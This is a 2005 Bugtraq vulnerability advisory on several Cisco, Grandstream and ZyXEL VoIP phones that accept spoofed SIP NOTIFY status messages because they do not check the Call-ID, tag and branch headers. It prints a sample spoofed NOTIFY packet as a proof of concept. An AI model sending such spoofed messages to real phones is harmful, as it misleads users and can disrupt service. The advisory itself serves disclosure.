Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

BID:14174

Info

Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

Bugtraq ID: 14174
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Jul 06 2005 12:00AM
Updated: Jul 06 2005 12:00AM
Credit: Discovery is credited to Tobias Glemser <[email protected]>. Javor Ninov <[email protected]> reported that this issue affects ZyXEL.
Vulnerable: ZyXEL Prestige 2000W VoIP Wi-Fi Phone
ZyXEL Prestige 2000W
Grandstream BudgeTone 100
Cisco VoIP Phone CP-7960 3.2
Cisco VoIP Phone CP-7960 3.1
Cisco VoIP Phone CP-7960 3.0
Cisco VoIP Phone CP-7940 3.2
Cisco VoIP Phone CP-7940 3.1
Cisco VoIP Phone CP-7940 3.0
Not Vulnerable:

Discussion

Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

Multiple Vendor VoIP Phones handle spoofed SIP status messages in an improper manner. This issue could potentially lead a to a denial of service condition against a server.

The issue arises because the affected phones do not verify the 'Call-ID', 'tag' and 'branch' headers of NOTIFY messages and process spoofed status messages instead of rejecting the messages.

Cisco 7940 and 7960 and Grandstream BT 100 phones are affected by this issue. Other vendors may be vulnerable as well.

Exploit / POC

Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

An exploit is not required.

The following proof of concept example is available:
UDP-Message from Attacker to Victim

Session Initiation Protocol
Request-Line: NOTIFY sip:[email protected] SIP/2.0
Message Header
Via: SIP/2.0/UDP 15.1.1.12:5060;branch=000000000000000
From: "asterisk" <sip:[email protected]>;tag=000000000
To: <sip:[email protected]>
Contact: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 102 NOTIFY
User-Agent: Asterisk PBX
Event: message-summary
Content-Type: application/simple-message-summary
Content-Length: 37
Message body
Messages-Waiting: yes\n
Voicemail: 3/2\n

A proof of concept (SIP_NOTIFY_POC.pl) has been supplied by <[email protected]>.

Tobias Glemser <[email protected]> has provided an exploit (snf.zip) as well:

Solution / Fix

Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Multiple Vendor VoIP Phones Spoofed SIP Status Message Handling Weakness

References:

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